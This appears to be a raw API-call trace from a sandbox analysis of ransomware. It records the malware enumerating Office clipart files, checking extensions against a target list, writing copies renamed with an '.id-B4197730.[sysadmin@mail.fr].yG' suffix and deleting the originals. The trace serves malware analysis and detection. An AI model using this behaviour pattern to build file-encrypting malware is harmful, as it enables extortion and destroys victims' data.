	[0052.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68
	[0052.263] lstrlenW (lpString=".jpg") returned 4
	[0052.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.263] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.263] lstrlenW (lpString="AN00790_.WMF") returned 12
	[0052.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.278] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=5684) returned 1
	[0052.279] CloseHandle (hObject=0x394) returned 1
	[0052.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 0x220
	[0052.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.279] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.279] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0052.280] GetLastError () returned 0x0
	[0052.280] ReadFile (in: hFile=0x394, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x1634, lpOverlapped=0x0) returned 1
	[0052.292] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x1640, lpOverlapped=0x0) returned 1
	[0052.293] ReadFile (in: hFile=0x394, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.294] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.294] SetEndOfFile (hFile=0x2fc) returned 1
	[0052.294] CloseHandle (hObject=0x2fc) returned 1
	[0052.295] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.295] SetEndOfFile (hFile=0x394) returned 1
	[0052.296] CloseHandle (hObject=0x394) returned 1
	[0052.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf")) returned 1
	[0052.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.297] lstrlenW (lpString=".doc") returned 4
	[0052.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.297] lstrlenW (lpString=".docx") returned 5
	[0052.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.297] lstrlenW (lpString=".pdf") returned 4
	[0052.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.297] lstrlenW (lpString=".xls") returned 4
	[0052.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.297] lstrlenW (lpString=".xlsx") returned 5
	[0052.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.297] lstrlenW (lpString=".ppt") returned 4
	[0052.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.297] lstrlenW (lpString=".zip") returned 4
	[0052.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.297] lstrlenW (lpString=".rar") returned 4
	[0052.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.297] lstrlenW (lpString=".bz2") returned 4
	[0052.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.297] lstrlenW (lpString=".7z") returned 3
	[0052.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.297] lstrlenW (lpString=".dbf") returned 4
	[0052.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.297] lstrlenW (lpString=".1cd") returned 4
	[0052.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.298] lstrlenW (lpString=".jpg") returned 4
	[0052.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.298] lstrlenW (lpString=".doc") returned 4
	[0052.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.298] lstrlenW (lpString=".docx") returned 5
	[0052.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.298] lstrlenW (lpString=".pdf") returned 4
	[0052.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.298] lstrlenW (lpString=".xls") returned 4
	[0052.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.298] lstrlenW (lpString=".xlsx") returned 5
	[0052.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.298] lstrlenW (lpString=".ppt") returned 4
	[0052.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.298] lstrlenW (lpString=".zip") returned 4
	[0052.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.298] lstrlenW (lpString=".rar") returned 4
	[0052.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.298] lstrlenW (lpString=".bz2") returned 4
	[0052.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.298] lstrlenW (lpString=".7z") returned 3
	[0052.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.299] lstrlenW (lpString=".dbf") returned 4
	[0052.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.299] lstrlenW (lpString=".1cd") returned 4
	[0052.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 68
	[0052.299] lstrlenW (lpString=".jpg") returned 4
	[0052.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.299] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.299] lstrlenW (lpString="AN00932_.WMF") returned 12
	[0052.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.300] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=14428) returned 1
	[0052.300] CloseHandle (hObject=0x394) returned 1
	[0052.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220
	[0052.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.300] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.300] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0052.301] GetLastError () returned 0x0
	[0052.301] ReadFile (in: hFile=0x394, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x385c, lpOverlapped=0x0) returned 1
	[0052.397] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x3860, lpOverlapped=0x0) returned 1
	[0052.398] ReadFile (in: hFile=0x394, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.398] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.398] SetEndOfFile (hFile=0x2fc) returned 1
	[0052.399] CloseHandle (hObject=0x2fc) returned 1
	[0052.399] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.399] SetEndOfFile (hFile=0x394) returned 1
	[0052.400] CloseHandle (hObject=0x394) returned 1
	[0052.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 1
	[0052.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.401] lstrlenW (lpString=".doc") returned 4
	[0052.401] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.401] lstrlenW (lpString=".docx") returned 5
	[0052.401] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.401] lstrlenW (lpString=".pdf") returned 4
	[0052.401] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.401] lstrlenW (lpString=".xls") returned 4
	[0052.401] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.401] lstrlenW (lpString=".xlsx") returned 5
	[0052.401] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.401] lstrlenW (lpString=".ppt") returned 4
	[0052.401] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.401] lstrlenW (lpString=".zip") returned 4
	[0052.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.401] lstrlenW (lpString=".rar") returned 4
	[0052.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.401] lstrlenW (lpString=".bz2") returned 4
	[0052.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString=".7z") returned 3
	[0052.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.402] lstrlenW (lpString=".dbf") returned 4
	[0052.402] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.402] lstrlenW (lpString=".1cd") returned 4
	[0052.402] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.402] lstrlenW (lpString=".jpg") returned 4
	[0052.402] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.402] lstrlenW (lpString=".doc") returned 4
	[0052.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString=".docx") returned 5
	[0052.402] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.402] lstrlenW (lpString=".pdf") returned 4
	[0052.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString=".xls") returned 4
	[0052.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.402] lstrlenW (lpString=".xlsx") returned 5
	[0052.402] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.402] lstrlenW (lpString=".ppt") returned 4
	[0052.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.402] lstrlenW (lpString=".zip") returned 4
	[0052.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.402] lstrlenW (lpString=".rar") returned 4
	[0052.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString=".bz2") returned 4
	[0052.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.402] lstrlenW (lpString=".7z") returned 3
	[0052.402] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.402] lstrlenW (lpString=".dbf") returned 4
	[0052.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.403] lstrlenW (lpString=".1cd") returned 4
	[0052.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 68
	[0052.403] lstrlenW (lpString=".jpg") returned 4
	[0052.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.403] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.403] lstrlenW (lpString="AN01044_.WMF") returned 12
	[0052.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.411] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=1596) returned 1
	[0052.411] CloseHandle (hObject=0x398) returned 1
	[0052.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220
	[0052.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.412] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.412] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0052.414] GetLastError () returned 0x0
	[0052.414] ReadFile (in: hFile=0x398, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x63c, lpOverlapped=0x0) returned 1
	[0052.620] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x640, lpOverlapped=0x0) returned 1
	[0052.621] ReadFile (in: hFile=0x398, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.621] WriteFile (in: hFile=0x384, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.621] SetEndOfFile (hFile=0x384) returned 1
	[0052.629] CloseHandle (hObject=0x384) returned 1
	[0052.629] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.629] SetEndOfFile (hFile=0x398) returned 1
	[0052.630] CloseHandle (hObject=0x398) returned 1
	[0052.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1
	[0052.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.630] lstrlenW (lpString=".doc") returned 4
	[0052.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString=".docx") returned 5
	[0052.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.631] lstrlenW (lpString=".pdf") returned 4
	[0052.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString=".xls") returned 4
	[0052.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.631] lstrlenW (lpString=".xlsx") returned 5
	[0052.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.631] lstrlenW (lpString=".ppt") returned 4
	[0052.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.631] lstrlenW (lpString=".zip") returned 4
	[0052.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.631] lstrlenW (lpString=".rar") returned 4
	[0052.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString=".bz2") returned 4
	[0052.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString=".7z") returned 3
	[0052.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.631] lstrlenW (lpString=".dbf") returned 4
	[0052.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.631] lstrlenW (lpString=".1cd") returned 4
	[0052.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.631] lstrlenW (lpString=".jpg") returned 4
	[0052.631] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.631] lstrlenW (lpString=".doc") returned 4
	[0052.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.631] lstrlenW (lpString=".docx") returned 5
	[0052.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.631] lstrlenW (lpString=".pdf") returned 4
	[0052.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.632] lstrlenW (lpString=".xls") returned 4
	[0052.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.632] lstrlenW (lpString=".xlsx") returned 5
	[0052.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.632] lstrlenW (lpString=".ppt") returned 4
	[0052.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.632] lstrlenW (lpString=".zip") returned 4
	[0052.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.632] lstrlenW (lpString=".rar") returned 4
	[0052.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.632] lstrlenW (lpString=".bz2") returned 4
	[0052.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.632] lstrlenW (lpString=".7z") returned 3
	[0052.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0052.632] lstrlenW (lpString=".dbf") returned 4
	[0052.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
